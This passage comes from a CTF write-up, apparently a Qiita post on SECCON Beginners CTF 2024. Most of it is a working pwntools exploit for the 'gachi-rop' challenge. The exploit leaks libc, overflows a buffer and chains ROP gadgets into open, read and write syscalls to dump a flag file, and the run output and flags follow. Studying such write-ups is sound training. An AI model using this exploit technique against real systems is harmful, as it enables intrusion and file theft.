    pack(libc+0x0002a3e5) + # pop rdi
    pack(1) +               # fd
    pack(libc+0x0002be51) + # pop rsi
    pack(0x404000) +        # buf
    pack(libc+0x0011f322) + # pop rdx; pop r12
    pack(0x100) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(0)
)

s.sendlineafter(b"!!\n", b"ctf4b")

print(s.recvall())

s = remote("gachi-rop.beginners.seccon.games", 4567)

s.recvuntil(b"system@0x")
system = int(s.recv(12).decode(), 16)
libc = system-0x50d70
print(f"system: {libc:x}")

s.sendlineafter(b'Name: ',
    b"x"*0x18 +

    pack(libc+0x0002a3e5) + # pop rdi
    pack(0x404000) +        # file_name
    pack(0x401060) +        # gets

    pack(libc+0x00045f97) + # pop rax
    pack(2) +               # open
    pack(libc+0x0002a3e5) + # pop rdi
    pack(0x404000) +        # file_name
    pack(libc+0x0002be51) + # pop rsi
    pack(0) +
    pack(libc+0x0011f322) + # pop rdx ; pop r12
    pack(0) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(libc+0x00045f97) + # pop rax
    pack(0) +               # read
    pack(libc+0x0002a3e5) + # pop rdi
    pack(3) +               # fd
    pack(libc+0x0002be51) + # pop rsi
    pack(0x404000) +        # buf
    pack(libc+0x0011f322) + # pop rdx; pop r12
    pack(0x100) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(libc+0x00045f97) + # pop rax
    pack(1) +               # write
    pack(libc+0x0002a3e5) + # pop rdi
    pack(1) +               # fd
    pack(libc+0x0002be51) + # pop rsi
    pack(0x404000) +        # buf
    pack(libc+0x0011f322) + # pop rdx; pop r12
    pack(0x100) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(0)
)

s.sendlineafter(b"!!\n", b"ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt")

print(s.recvall())
$ python3 attack.py
[+] Opening connection to gachi-rop.beginners.seccon.games on port 4567: Done
system: 7ff79c43c000
[+] Receiving all data: Done (256B)
[*] Closed connection to gachi-rop.beginners.seccon.games port 4567
b'\xe3 \x10\x00\x00\x00\x00\x003s{U3\xceu)@\x00flag-40ff81b29993c8fc02dbf404eddaf143.txt\x00\xf7\x7f\x00\x08\xe2 \x10\x00\x00\x00\x00\x00.\x03rr\xd91O{\x18\x00.\x00\x00\x00\x00\x04+\x12\x12\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x18\x00..\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x05>\x00\x00\xc0 \x00\x00\x00\x00\x00\x00\x005\x00\x03\x00\x00\x00\x00@\x15\x00\x02\x00;\x00\x00\x00\x15\x00\x01\x00B\x01\x00\x00\x06\x00\x00\x00\x00\x00\xff\x7f\x06\x00\x00\x00\x00\x00\x05\x00\x80we\x9c\xf7\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0je\x9c\xf7\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[+] Opening connection to gachi-rop.beginners.seccon.games on port 4567: Done
system: 7f92caf46000
[+] Receiving all data: Done (256B)
[*] Closed connection to gachi-rop.beginners.seccon.games port 4567
b'ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}af143.txt\x00 e\xfc\xca\x92\x7f\x00\x00\xf0u\xfc\xca\x92\x7f\x00\x00\x86\x10@\x00\x00\x00\x00\x00\x96\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x05>\x00\x00\xc0 \x00\x00\x00\x00\x00\x00\x005\x00\x03\x00\x00\x00\x00@\x15\x00\x02\x00;\x00\x00\x00\x15\x00\x01\x00B\x01\x00\x00\x06\x00\x00\x00\x00\x00\xff\x7f\x06\x00\x00\x00\x00\x00\x05\x00\x80\x17\x16\xcb\x92\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\n\x16\xcb\x92\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}

welcome

Welcome

ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?